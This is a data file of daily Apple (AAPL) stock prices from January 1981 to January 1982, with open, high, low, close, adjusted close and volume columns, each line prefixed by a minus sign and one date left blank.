-1981-01-30,0.5089285969734192,0.5089285969734192,0.5044642686843872,0.5044642686843872,0.3997070789337158,11547200.0,AAPL
-1981-02-02,0.4776785671710968,0.4776785671710968,0.4754464328289032,0.4754464328289032,0.37671515345573425,5941600.0,AAPL
-1981-02-03,0.4933035671710968,0.4955357015132904,0.4933035671710968,0.4933035671710968,0.39086395502090454,4788000.0,AAPL
-1981-02-04,0.5111607313156128,0.5133928656578064,0.5111607313156128,0.5111607313156128,0.40501296520233154,6966400.0,AAPL
-1981-02-05,0.5111607313156128,0.515625,0.5111607313156128,0.5111607313156128,0.40501296520233154,1982400.0,AAPL
-1981-02-06,0.5133928656578064,0.515625,0.5133928656578064,0.5133928656578064,0.40678155422210693,3466400.0,AAPL
-1981-02-09,0.4910714328289032,0.4910714328289032,0.4866071343421936,0.4866071343421936,0.385558158159256,4188800.0,AAPL
-1981-02-10,0.4866071343421936,0.4888392984867096,0.4866071343421936,0.4866071343421936,0.385558158159256,4586400.0,AAPL
-1981-02-11,0.4732142984867096,0.4732142984867096,0.4709821343421936,0.4709821343421936,0.37317776679992676,3460800.0,AAPL
-1981-02-12,0.46875,0.46875,0.4665178656578064,0.4665178656578064,0.36964061856269836,3640000.0,AAPL
-1981-02-13,0.4598214328289032,0.4598214328289032,0.4553571343421936,0.4553571343421936,0.36079761385917664,2788800.0,AAPL
-1981-02-17,0.4665178656578064,0.46875,0.4665178656578064,0.4665178656578064,0.36964061856269836,3068800.0,AAPL
-1981-02-18,0.4866071343421936,0.4910714328289032,0.4866071343421936,0.4866071343421936,0.385558158159256,4810400.0,AAPL
-1981-02-19,0.4598214328289032,0.4598214328289032,0.4575892984867096,0.4575892984867096,0.3625660538673401,5577600.0,AAPL
-1981-02-20,0.4352678656578064,0.4352678656578064,0.4330357015132904,0.4330357015132904,0.3431113362312317,6092800.0,AAPL
-1981-02-23,0.4397321343421936,0.4419642984867096,0.4397321343421936,0.4397321343421936,0.3484172224998474,3528000.0,AAPL
-1981-02-24,0.4285714328289032,0.4285714328289032,0.4241071343421936,0.4241071343421936,0.3360368311405182,4244800.0,AAPL
-1981-02-25,0.4508928656578064,0.453125,0.4508928656578064,0.4508928656578064,0.3572602868080139,4872000.0,AAPL
-1981-02-26,0.4575892984867096,0.4598214328289032,0.4575892984867096,0.4575892984867096,0.3625660538673401,2710400.0,AAPL
-1981-02-27,0.4732142984867096,0.4776785671710968,0.4732142984867096,0.4732142984867096,0.3749464452266693,3690400.0,AAPL
-1981-03-02,0.4754464328289032,0.4776785671710968,0.4754464328289032,0.4754464328289032,0.37671515345573425,2940000.0,AAPL
-1981-03-03,0.4709821343421936,0.4709821343421936,0.46875,0.46875,0.3714093267917633,4043200.0,AAPL
-1981-03-04,0.4665178656578064,0.4665178656578064,0.4642857015132904,0.4642857015132904,0.3678719997406006,3427200.0,AAPL
-1981-03-05,0.4642857015132904,0.4642857015132904,0.4620535671710968,0.4620535671710968,0.3661033511161804,1344000.0,AAPL
-1981-03-06,0.4620535671710968,0.4620535671710968,0.4575892984867096,0.4575892984867096,0.3625660538673401,2900800.0,AAPL
-1981-03-09,0.4241071343421936,0.4241071343421936,0.421875,0.421875,0.3342682719230652,3830400.0,AAPL
-1981-03-10,0.4040178656578064,0.4040178656578064,0.4017857015132904,0.4017857015132904,0.3183508515357971,7095200.0,AAPL
-1981-03-11,0.390625,0.390625,0.3861607015132904,0.3861607015132904,0.3059704303741455,7464800.0,AAPL
-1981-03-12,0.4017857015132904,0.4040178656578064,0.4017857015132904,0.4017857015132904,0.3183508515357971,14812000.0,AAPL
-1981-03-13,0.3995535671710968,0.3995535671710968,0.3973214328289032,0.3973214328289032,0.31481367349624634,57825600.0,AAPL
-1981-03-16,0.4129464328289032,0.4174107015132904,0.4129464328289032,0.4129464328289032,0.32719382643699646,9307200.0,AAPL
-1981-03-17,0.4330357015132904,0.4375,0.4330357015132904,0.4330357015132904,0.3431113362312317,10936800.0,AAPL
-1981-03-18,0.4598214328289032,0.4642857015132904,0.4598214328289032,0.4598214328289032,0.36433476209640503,9234400.0,AAPL
-1981-03-19,0.4575892984867096,0.4575892984867096,0.4553571343421936,0.4553571343421936,0.36079761385917664,9452800.0,AAPL
-1981-03-20,0.4598214328289032,0.4642857015132904,0.4598214328289032,0.4598214328289032,0.36433476209640503,3651200.0,AAPL
-1981-03-23,0.4776785671710968,0.4821428656578064,0.4776785671710968,0.4776785671710968,0.37848371267318726,5504800.0,AAPL
-1981-03-24,0.4776785671710968,0.4776785671710968,0.4754464328289032,0.4754464328289032,0.37671515345573425,7039200.0,AAPL
-1981-03-25,0.4709821343421936,0.4709821343421936,0.4665178656578064,0.4665178656578064,0.36964061856269836,1764000.0,AAPL
-1981-03-26,0.4598214328289032,0.4598214328289032,0.4575892984867096,0.4575892984867096,0.3625660538673401,3068800.0,AAPL
-1981-03-27,0.4441964328289032,0.4441964328289032,0.4419642984867096,0.4419642984867096,0.3501858413219452,3063200.0,AAPL
-1981-03-30,0.4419642984867096,0.4464285671710968,0.4419642984867096,0.4419642984867096,0.3501858413219452,2475200.0,AAPL
-1981-03-31,0.4419642984867096,0.4419642984867096,0.4375,0.4375,0.3466486632823944,3998400.0,AAPL
-1981-04-01,0.4352678656578064,0.4352678656578064,0.4330357015132904,0.4330357015132904,0.3431113362312317,8517600.0,AAPL
-1981-04-02,0.4709821343421936,0.4732142984867096,0.4709821343421936,0.4709821343421936,0.37317776679992676,7851200.0,AAPL
-1981-04-03,0.4732142984867096,0.4754464328289032,0.4732142984867096,0.4732142984867096,0.3749464452266693,4121600.0,AAPL
-1981-04-06,0.4665178656578064,0.4665178656578064,0.4642857015132904,0.4642857015132904,0.3678719997406006,5700800.0,AAPL
-1981-04-07,0.4620535671710968,0.4620535671710968,0.4598214328289032,0.4598214328289032,0.36433476209640503,2671200.0,AAPL
-1981-04-08,0.4821428656578064,0.4866071343421936,0.4821428656578064,0.4821428656578064,0.3820209205150604,5488000.0,AAPL
-1981-04-09,0.4910714328289032,0.4933035671710968,0.4910714328289032,0.4910714328289032,0.3890954852104187,3124800.0,AAPL
-1981-04-10,0.4977678656578064,0.5,0.4977678656578064,0.4977678656578064,0.3944011628627777,8366400.0,AAPL
-1981-04-13,0.4977678656578064,0.5,0.4977678656578064,0.4977678656578064,0.3944011628627777,4015200.0,AAPL
-1981-04-14,0.4977678656578064,0.5,0.4977678656578064,0.4977678656578064,0.3944011628627777,1663200.0,AAPL
-1981-04-15,0.4754464328289032,0.4754464328289032,0.4732142984867096,0.4732142984867096,0.3749464452266693,8512000.0,AAPL
-1981-04-16,0.4486607015132904,0.4486607015132904,0.4464285671710968,0.4464285671710968,0.35372301936149597,5969600.0,AAPL
-1981-04-20,0.4598214328289032,0.4620535671710968,0.4598214328289032,0.4598214328289032,0.36433476209640503,8836800.0,AAPL
-1981-04-21,0.4910714328289032,0.4933035671710968,0.4910714328289032,0.4910714328289032,0.3890954852104187,7134400.0,AAPL
-1981-04-22,0.5089285969734192,0.5111607313156128,0.5089285969734192,0.5089285969734192,0.403244286775589,4748800.0,AAPL
-1981-04-23,0.5223214030265808,0.5245535969734192,0.5223214030265808,0.5223214030265808,0.41385602951049805,14504000.0,AAPL
-1981-04-24,0.5223214030265808,0.5223214030265808,0.5178571343421936,0.5178571343421936,0.4103188216686249,8764000.0,AAPL
-1981-04-27,0.515625,0.515625,0.5133928656578064,0.5133928656578064,0.40678155422210693,9632000.0,AAPL
-1981-04-28,0.5066964030265808,0.5066964030265808,0.5044642686843872,0.5044642686843872,0.3997070789337158,8047200.0,AAPL
-1981-04-29,0.5,0.5,0.4977678656578064,0.4977678656578064,0.3944011628627777,3410400.0,AAPL
-1981-04-30,0.5066964030265808,0.5111607313156128,0.5066964030265808,0.5066964030265808,0.401475727558136,3152800.0,AAPL
-1981-05-01,0.5066964030265808,0.5111607313156128,0.5066964030265808,0.5066964030265808,0.401475727558136,4138400.0,AAPL
-1981-05-04,0.5066964030265808,0.5066964030265808,0.5044642686843872,0.5044642686843872,0.3997070789337158,3612000.0,AAPL
-1981-05-05,0.5044642686843872,0.5044642686843872,0.5022321343421936,0.5022321343421936,0.39793848991394043,4384800.0,AAPL
-1981-05-06,0.4910714328289032,0.4910714328289032,0.4888392984867096,0.4888392984867096,0.38732683658599854,4737600.0,AAPL
-1981-05-07,0.4955357015132904,0.4977678656578064,0.4955357015132904,0.4955357015132904,0.3926325738430023,2340800.0,AAPL
-1981-05-08,0.5,0.5022321343421936,0.5,0.5,0.39616990089416504,1976800.0,AAPL
-1981-05-11,0.4910714328289032,0.4910714328289032,0.4888392984867096,0.4888392984867096,0.38732683658599854,2984800.0,AAPL
-1981-05-12,0.4888392984867096,0.4955357015132904,0.4888392984867096,0.4888392984867096,0.38732683658599854,1064000.0,AAPL
-1981-05-13,0.4888392984867096,0.4933035671710968,0.4866071343421936,0.4866071343421936,0.385558158159256,1226400.0,AAPL
-1981-05-14,0.484375,0.484375,0.4799107015132904,0.4799107015132904,0.38025227189064026,1232000.0,AAPL
-1981-05-15,0.4910714328289032,0.4977678656578064,0.4910714328289032,0.4910714328289032,0.3890954852104187,1226400.0,AAPL
-1981-05-18,0.5,0.5044642686843872,0.5,0.5,0.39616990089416504,1041600.0,AAPL
-1981-05-19,0.4933035671710968,0.4933035671710968,0.4910714328289032,0.4910714328289032,0.3890954852104187,6356000.0,AAPL
-1981-05-20,0.5066964030265808,0.5111607313156128,0.5066964030265808,0.5066964030265808,0.401475727558136,3320800.0,AAPL
-1981-05-21,0.5357142686843872,0.5379464030265808,0.5357142686843872,0.5357142686843872,0.4244675934314728,8052800.0,AAPL
-1981-05-22,0.5602678656578064,0.5647321343421936,0.5602678656578064,0.5602678656578064,0.4439224600791931,7856800.0,AAPL
-1981-05-26,0.5602678656578064,0.5602678656578064,0.5580357313156128,0.5580357313156128,0.4421537220478058,21336000.0,AAPL
-1981-05-27,0.5892857313156128,0.5915178656578064,0.5892857313156128,0.5892857313156128,0.4669145345687866,37374400.0,AAPL
-1981-05-28,0.5892857313156128,0.5915178656578064,0.5892857313156128,0.5892857313156128,0.4669145345687866,18496800.0,AAPL
-1981-05-29,0.5915178656578064,0.59375,0.5915178656578064,0.5915178656578064,0.4686829745769501,14845600.0,AAPL
-1981-06-01,0.5915178656578064,0.59375,0.5915178656578064,0.5915178656578064,0.4686829745769501,12812800.0,AAPL
-1981-06-02,0.5647321343421936,0.5647321343421936,0.5625,0.5625,0.4456910490989685,10108000.0,AAPL
-1981-06-03,0.5625,0.5669642686843872,0.5625,0.5625,0.4456910490989685,9861600.0,AAPL
-1981-06-04,0.5736607313156128,0.5758928656578064,0.5736607313156128,0.5736607313156128,0.4545341432094574,14016800.0,AAPL
-1981-06-05,0.5669642686843872,0.5669642686843872,0.5647321343421936,0.5647321343421936,0.44745975732803345,14420000.0,AAPL
-1981-06-08,0.546875,0.546875,0.5446428656578064,0.5446428656578064,0.4315420687198639,23374400.0,AAPL
-1981-06-09,0.5558035969734192,0.5580357313156128,0.5558035969734192,0.5558035969734192,0.44038525223731995,29898400.0,AAPL
-1981-06-10,0.5625,0.5691964030265808,0.5625,0.5625,0.4456910490989685,6305600.0,AAPL
-1981-06-11,0.5870535969734192,0.5892857313156128,0.5870535969734192,0.5870535969734192,0.46514588594436646,9744000.0,AAPL
-1981-06-12,0.5825892686843872,0.5825892686843872,0.5803571343421936,0.5803571343421936,0.4598398804664612,6451200.0,AAPL
-1981-06-15,0.5803571343421936,0.5803571343421936,0.578125,0.578125,0.45807135105133057,35940800.0,AAPL
-1981-06-16,0.5691964030265808,0.5691964030265808,0.5669642686843872,0.5669642686843872,0.44922828674316406,9312800.0,AAPL
-1981-06-17,0.5602678656578064,0.5602678656578064,0.5580357313156128,0.5580357313156128,0.4421537220478058,6893600.0,AAPL
-1981-06-18,0.5580357313156128,0.5602678656578064,0.5558035969734192,0.5558035969734192,0.44038525223731995,5762400.0,AAPL
-1981-06-19,0.5424107313156128,0.5424107313156128,0.5401785969734192,0.5401785969734192,0.42800483107566833,6876800.0,AAPL
-1981-06-22,0.5223214030265808,0.5223214030265808,0.5200892686843872,0.5200892686843872,0.4120873808860779,2710400.0,AAPL
-1981-06-23,0.5290178656578064,0.5334821343421936,0.5290178656578064,0.5290178656578064,0.4191618859767914,3757600.0,AAPL
-1981-06-24,0.5200892686843872,0.5200892686843872,0.515625,0.515625,0.40855029225349426,5756800.0,AAPL
-1981-06-25,0.5267857313156128,0.5290178656578064,0.5267857313156128,0.5267857313156128,0.41739314794540405,6064800.0,AAPL
-1981-06-26,0.5245535969734192,0.5245535969734192,0.5200892686843872,0.5200892686843872,0.4120873808860779,5947200.0,AAPL
-1981-06-29,0.5066964030265808,0.5066964030265808,0.5022321343421936,0.5022321343421936,0.39793848991394043,2648800.0,AAPL
-1981-06-30,0.4665178656578064,0.4665178656578064,0.4642857015132904,0.4642857015132904,0.3678719997406006,8976800.0,AAPL
-1981-07-01,0.4620535671710968,0.4620535671710968,0.4598214328289032,0.4598214328289032,0.36433476209640503,42616000.0,AAPL
-1981-07-02,0.4598214328289032,0.4620535671710968,0.4598214328289032,0.4598214328289032,0.36433476209640503,7571200.0,AAPL
-1981-07-06,0.4486607015132904,0.4486607015132904,0.4441964328289032,0.4441964328289032,0.35195446014404297,4132800.0,AAPL
-1981-07-07,0.4486607015132904,0.453125,0.4486607015132904,0.4486607015132904,0.3554917573928833,3959200.0,AAPL
-1981-07-08,0.4665178656578064,0.46875,0.4665178656578064,0.4665178656578064,0.36964061856269836,4155200.0,AAPL
-1981-07-09,0.4330357015132904,0.4330357015132904,0.4308035671710968,0.4308035671710968,0.3413427472114563,8220800.0,AAPL
-1981-07-10,0.3995535671710968,0.3995535671710968,0.3973214328289032,0.3973214328289032,0.31481367349624634,13792800.0,AAPL
-1981-07-13,0.40625,0.4084821343421936,0.40625,0.40625,0.32188811898231506,11435200.0,AAPL
-1981-07-14,0.4241071343421936,0.4285714328289032,0.4241071343421936,0.4241071343421936,0.3360368311405182,4944800.0,AAPL
-1981-07-15,0.4352678656578064,0.4375,0.4352678656578064,0.4352678656578064,0.34488004446029663,2738400.0,AAPL
-1981-07-16,0.4464285671710968,0.4508928656578064,0.4464285671710968,0.4464285671710968,0.35372301936149597,3808000.0,AAPL
-1981-07-17,0.4620535671710968,0.4642857015132904,0.4620535671710968,0.4620535671710968,0.3661033511161804,4956000.0,AAPL
-1981-07-20,0.4330357015132904,0.4330357015132904,0.4308035671710968,0.4308035671710968,0.3413427472114563,5913600.0,AAPL
-1981-07-21,0.4308035671710968,0.4308035671710968,0.4285714328289032,0.4285714328289032,0.3395741581916809,7985600.0,AAPL
-1981-07-22,0.4084821343421936,0.4084821343421936,0.4040178656578064,0.4040178656578064,0.32011938095092773,5667200.0,AAPL
-1981-07-23,0.4151785671710968,0.4174107015132904,0.4151785671710968,0.4151785671710968,0.32896244525909424,8612800.0,AAPL
-1981-07-24,0.4285714328289032,0.4308035671710968,0.4285714328289032,0.4285714328289032,0.3395741581916809,7212800.0,AAPL
-1981-07-27,0.4464285671710968,0.4486607015132904,0.4464285671710968,0.4464285671710968,0.35372301936149597,4334400.0,AAPL
-1981-07-28,0.4330357015132904,0.4330357015132904,0.4308035671710968,0.4308035671710968,0.3413427472114563,5712000.0,AAPL
-1981-07-29,0.4263392984867096,0.4263392984867096,0.4241071343421936,0.4241071343421936,0.3360368311405182,3875200.0,AAPL
-1981-07-30,0.4397321343421936,0.4441964328289032,0.4397321343421936,0.4397321343421936,0.3484172224998474,2475200.0,AAPL
-1981-07-31,0.4464285671710968,0.4486607015132904,0.4464285671710968,0.4464285671710968,0.35372301936149597,2738400.0,AAPL
-1981-08-03,0.4464285671710968,0.4464285671710968,0.4419642984867096,0.4419642984867096,0.3501858413219452,3108000.0,AAPL
-1981-08-04,0.4486607015132904,0.4508928656578064,0.4486607015132904,0.4486607015132904,0.3554917573928833,7918400.0,AAPL
-1981-08-05,0.4620535671710968,0.4642857015132904,0.4620535671710968,0.4620535671710968,0.3661033511161804,4373600.0,AAPL
-1981-08-06,0.453125,0.453125,0.4508928656578064,0.4508928656578064,0.3572602868080139,2632000.0,AAPL
-1981-08-07,0.4508928656578064,0.453125,0.4508928656578064,0.4508928656578064,0.3572602868080139,2301600.0,AAPL
-1981-08-10,,,,,,,AAPL
-1981-08-11,0.4419642984867096,0.4419642984867096,0.4375,0.4375,0.3466486632823944,17864000.0,AAPL
-1981-08-12,0.4308035671710968,0.4308035671710968,0.4285714328289032,0.4285714328289032,0.3395741581916809,6568800.0,AAPL
-1981-08-13,0.4174107015132904,0.4174107015132904,0.4151785671710968,0.4151785671710968,0.32896244525909424,6871200.0,AAPL
-1981-08-14,0.4129464328289032,0.4129464328289032,0.4084821343421936,0.4084821343421936,0.3236565887928009,6048000.0,AAPL
-1981-08-17,0.3995535671710968,0.3995535671710968,0.3950892984867096,0.3950892984867096,0.3130449652671814,4726400.0,AAPL
-1981-08-18,0.390625,0.390625,0.3861607015132904,0.3861607015132904,0.3059704303741455,4250400.0,AAPL
-1981-08-19,0.3861607015132904,0.3861607015132904,0.3816964328289032,0.3816964328289032,0.3024332523345947,5168800.0,AAPL
-1981-08-20,0.3861607015132904,0.3883928656578064,0.3861607015132904,0.3861607015132904,0.3059704303741455,4278400.0,AAPL
-1981-08-21,0.3638392984867096,0.3638392984867096,0.359375,0.359375,0.2847471237182617,10477600.0,AAPL
-1981-08-24,0.3392857015132904,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2670608460903168,5768000.0,AAPL
-1981-08-25,0.3459821343421936,0.3482142984867096,0.3459821343421936,0.3459821343421936,0.27413538098335266,10175200.0,AAPL
-1981-08-26,0.3415178656578064,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.2688296437263489,8400000.0,AAPL
-1981-08-27,0.3415178656578064,0.34375,0.3415178656578064,0.3415178656578064,0.2705981433391571,6479200.0,AAPL
-1981-08-28,0.359375,0.3616071343421936,0.359375,0.359375,0.2847471237182617,9508800.0,AAPL
-1981-08-31,0.359375,0.3616071343421936,0.359375,0.359375,0.2847471237182617,10236800.0,AAPL
-1981-09-01,0.3816964328289032,0.3839285671710968,0.3816964328289032,0.3816964328289032,0.3024332523345947,9256800.0,AAPL
-1981-09-02,0.3883928656578064,0.390625,0.3883928656578064,0.3883928656578064,0.3077392578125,4844000.0,AAPL
-1981-09-03,0.3727678656578064,0.3727678656578064,0.3683035671710968,0.3683035671710968,0.2918216288089752,9368800.0,AAPL
-1981-09-04,0.3660714328289032,0.3660714328289032,0.3638392984867096,0.3638392984867096,0.2882843315601349,3813600.0,AAPL
-1981-09-08,0.3549107015132904,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2794412672519684,6361600.0,AAPL
-1981-09-09,0.3526785671710968,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2794412672519684,7632800.0,AAPL
-1981-09-10,0.3549107015132904,0.3571428656578064,0.3549107015132904,0.3549107015132904,0.2812098264694214,8702400.0,AAPL
-1981-09-11,0.3526785671710968,0.3526785671710968,0.3504464328289032,0.3504464328289032,0.277672678232193,4384800.0,AAPL
-1981-09-14,0.3415178656578064,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.2688296437263489,6921600.0,AAPL
-1981-09-15,0.3325892984867096,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.2617550790309906,4877600.0,AAPL
-1981-09-16,0.3258928656578064,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.2564491927623749,4838400.0,AAPL
-1981-09-17,0.3169642984867096,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.24937471747398376,4844000.0,AAPL
-1981-09-18,0.3169642984867096,0.3191964328289032,0.3169642984867096,0.3169642984867096,0.2511433959007263,6580000.0,AAPL
-1981-09-21,0.3191964328289032,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25291192531585693,12258400.0,AAPL
-1981-09-22,0.3035714328289032,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23876310884952545,11855200.0,AAPL
-1981-09-23,0.2991071343421936,0.2991071343421936,0.2946428656578064,0.2946428656578064,0.2334572672843933,7050400.0,AAPL
-1981-09-24,0.2946428656578064,0.2946428656578064,0.2924107015132904,0.2924107015132904,0.23168860375881195,4575200.0,AAPL
-1981-09-25,0.2589285671710968,0.2589285671710968,0.2544642984867096,0.2544642984867096,0.2016221433877945,8652000.0,AAPL
-1981-09-28,0.2566964328289032,0.2589285671710968,0.2566964328289032,0.2566964328289032,0.20339077711105347,22932000.0,AAPL
-1981-09-29,0.2700892984867096,0.2723214328289032,0.2700892984867096,0.2700892984867096,0.21400241553783417,23671200.0,AAPL
-1981-09-30,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.21577103435993195,12499200.0,AAPL
-1981-10-01,0.2723214328289032,0.2745535671710968,0.2723214328289032,0.2723214328289032,0.21577103435993195,15282400.0,AAPL
-1981-10-02,0.2946428656578064,0.296875,0.2946428656578064,0.2946428656578064,0.2334572672843933,11261600.0,AAPL
-1981-10-05,0.3035714328289032,0.3080357015132904,0.3035714328289032,0.3035714328289032,0.24053166806697845,10774400.0,AAPL
-1981-10-06,0.3035714328289032,0.3035714328289032,0.3013392984867096,0.3013392984867096,0.23876310884952545,7089600.0,AAPL
-1981-10-07,0.3191964328289032,0.3236607015132904,0.3191964328289032,0.3191964328289032,0.25291192531585693,9710400.0,AAPL
-1981-10-08,0.3303571343421936,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.2617550790309906,7772800.0,AAPL
-1981-10-09,0.3325892984867096,0.3370535671710968,0.3325892984867096,0.3325892984867096,0.26352381706237793,13630400.0,AAPL
-1981-10-12,0.34375,0.3459821343421936,0.34375,0.34375,0.2723669409751892,6837600.0,AAPL
-1981-10-13,0.34375,0.3482142984867096,0.34375,0.34375,0.2723669409751892,11048800.0,AAPL
-1981-10-14,0.3258928656578064,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.2564491927623749,7744800.0,AAPL
-1981-10-15,0.3303571343421936,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.2617550790309906,7358400.0,AAPL
-1981-10-16,0.328125,0.328125,0.3258928656578064,0.3258928656578064,0.25821784138679504,9116800.0,AAPL
-1981-10-19,0.3325892984867096,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26352381706237793,5146400.0,AAPL
-1981-10-20,0.3504464328289032,0.3526785671710968,0.3504464328289032,0.3504464328289032,0.277672678232193,8932000.0,AAPL
-1981-10-21,0.3504464328289032,0.3526785671710968,0.3504464328289032,0.3504464328289032,0.277672678232193,19224800.0,AAPL
-1981-10-22,0.3504464328289032,0.3504464328289032,0.3482142984867096,0.3482142984867096,0.2759040594100952,8069600.0,AAPL
-1981-10-23,0.3415178656578064,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.2688296437263489,6977600.0,AAPL
-1981-10-26,0.3392857015132904,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.2688296437263489,6820800.0,AAPL
-1981-10-27,0.3459821343421936,0.3504464328289032,0.3459821343421936,0.3459821343421936,0.27413538098335266,21397600.0,AAPL
-1981-10-28,0.3571428656578064,0.359375,0.3571428656578064,0.3571428656578064,0.2829784154891968,11043200.0,AAPL
-1981-10-29,0.3549107015132904,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2794412672519684,7621600.0,AAPL
-1981-10-30,0.3571428656578064,0.359375,0.3571428656578064,0.3571428656578064,0.2829784154891968,13182400.0,AAPL
-1981-11-02,0.3571428656578064,0.359375,0.3571428656578064,0.3571428656578064,0.2829784154891968,9228800.0,AAPL
-1981-11-03,0.3549107015132904,0.3549107015132904,0.3526785671710968,0.3526785671710968,0.2794412672519684,7095200.0,AAPL
-1981-11-04,0.3459821343421936,0.3459821343421936,0.34375,0.34375,0.2723669409751892,5952800.0,AAPL
-1981-11-05,0.3214285671710968,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25291192531585693,5840800.0,AAPL
-1981-11-06,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.2546806037425995,6148800.0,AAPL
-1981-11-09,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.25821784138679504,5096000.0,AAPL
-1981-11-10,0.328125,0.3303571343421936,0.328125,0.328125,0.2599865198135376,4188800.0,AAPL
-1981-11-11,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2670608460903168,6860000.0,AAPL
-1981-11-12,0.3482142984867096,0.3504464328289032,0.3482142984867096,0.3482142984867096,0.2759040594100952,9979200.0,AAPL
-1981-11-13,0.3258928656578064,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.2564491927623749,5252800.0,AAPL
-1981-11-16,0.3214285671710968,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25291192531585693,5639200.0,AAPL
-1981-11-17,0.3258928656578064,0.328125,0.3258928656578064,0.3258928656578064,0.25821784138679504,8853600.0,AAPL
-1981-11-18,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2670608460903168,7285600.0,AAPL
-1981-11-19,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2670608460903168,10001600.0,AAPL
-1981-11-20,0.3392857015132904,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.2688296437263489,9525600.0,AAPL
-1981-11-23,0.328125,0.328125,0.3236607015132904,0.3236607015132904,0.2564491927623749,5740000.0,AAPL
-1981-11-24,0.3236607015132904,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.2546806037425995,5538400.0,AAPL
-1981-11-25,0.328125,0.3303571343421936,0.328125,0.328125,0.2599865198135376,13137600.0,AAPL
-1981-11-27,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2670608460903168,9312800.0,AAPL
-1981-11-30,0.3348214328289032,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26352381706237793,5992000.0,AAPL
-1981-12-01,0.3325892984867096,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26352381706237793,5846400.0,AAPL
-1981-12-02,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.26529231667518616,9391200.0,AAPL
-1981-12-03,0.3325892984867096,0.3325892984867096,0.3303571343421936,0.3303571343421936,0.2617550790309906,5107200.0,AAPL
-1981-12-04,0.3392857015132904,0.3415178656578064,0.3392857015132904,0.3392857015132904,0.2688296437263489,34288800.0,AAPL
-1981-12-07,0.3415178656578064,0.34375,0.3415178656578064,0.3415178656578064,0.2705981433391571,14823200.0,AAPL
-1981-12-08,0.3392857015132904,0.3392857015132904,0.3348214328289032,0.3348214328289032,0.26529231667518616,12656000.0,AAPL
-1981-12-09,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2670608460903168,8568000.0,AAPL
-1981-12-10,0.3370535671710968,0.3392857015132904,0.3370535671710968,0.3370535671710968,0.2670608460903168,9352000.0,AAPL
-1981-12-11,0.3370535671710968,0.3392857015132904,0.3348214328289032,0.3348214328289032,0.26529231667518616,19023200.0,AAPL
-1981-12-14,0.328125,0.328125,0.3236607015132904,0.3236607015132904,0.2564491927623749,6311200.0,AAPL
-1981-12-15,0.3325892984867096,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26352381706237793,7828800.0,AAPL
-1981-12-16,0.3482142984867096,0.3504464328289032,0.3482142984867096,0.3482142984867096,0.2759040594100952,16363200.0,AAPL
-1981-12-17,0.3772321343421936,0.3794642984867096,0.3772321343421936,0.3772321343421936,0.29889604449272156,12863200.0,AAPL
-1981-12-18,0.4084821343421936,0.4107142984867096,0.4084821343421936,0.4084821343421936,0.3236565887928009,17931200.0,AAPL
-1981-12-21,0.3928571343421936,0.3928571343421936,0.390625,0.390625,0.30950769782066345,14100800.0,AAPL
-1981-12-22,0.3973214328289032,0.3995535671710968,0.3973214328289032,0.3973214328289032,0.31481367349624634,13456800.0,AAPL
-1981-12-23,0.390625,0.390625,0.3883928656578064,0.3883928656578064,0.3077392578125,7224000.0,AAPL
-1981-12-24,0.390625,0.3928571343421936,0.390625,0.390625,0.30950769782066345,7229600.0,AAPL
-1981-12-28,0.3772321343421936,0.3772321343421936,0.3727678656578064,0.3727678656578064,0.2953588366508484,9144800.0,AAPL
-1981-12-29,0.3794642984867096,0.3839285671710968,0.3794642984867096,0.3794642984867096,0.30066463351249695,6059200.0,AAPL
-1981-12-30,0.3950892984867096,0.3973214328289032,0.3950892984867096,0.3950892984867096,0.3130449652671814,8047200.0,AAPL
-1981-12-31,0.3950892984867096,0.3973214328289032,0.3950892984867096,0.3950892984867096,0.3130449652671814,13664000.0,AAPL
-1982-01-04,0.3950892984867096,0.3950892984867096,0.3928571343421936,0.3928571343421936,0.31127646565437317,17813600.0,AAPL
-1982-01-05,0.3772321343421936,0.3772321343421936,0.3727678656578064,0.3727678656578064,0.2953588366508484,8960000.0,AAPL
-1982-01-06,0.3705357015132904,0.3705357015132904,0.3683035671710968,0.3683035671710968,0.2918216288089752,16520000.0,AAPL
-1982-01-07,0.34375,0.34375,0.3392857015132904,0.3392857015132904,0.2688296437263489,17511200.0,AAPL
-1982-01-08,0.3549107015132904,0.3571428656578064,0.3549107015132904,0.3549107015132904,0.2812098264694214,14151200.0,AAPL
-1982-01-11,0.3348214328289032,0.3348214328289032,0.3325892984867096,0.3325892984867096,0.26352381706237793,8332800.0,AAPL
-1982-01-12,0.3236607015132904,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.2546806037425995,14980000.0,AAPL
-1982-01-13,0.3214285671710968,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25291192531585693,10438400.0,AAPL
-1982-01-14,0.3348214328289032,0.3370535671710968,0.3348214328289032,0.3348214328289032,0.26529231667518616,6428800.0,AAPL
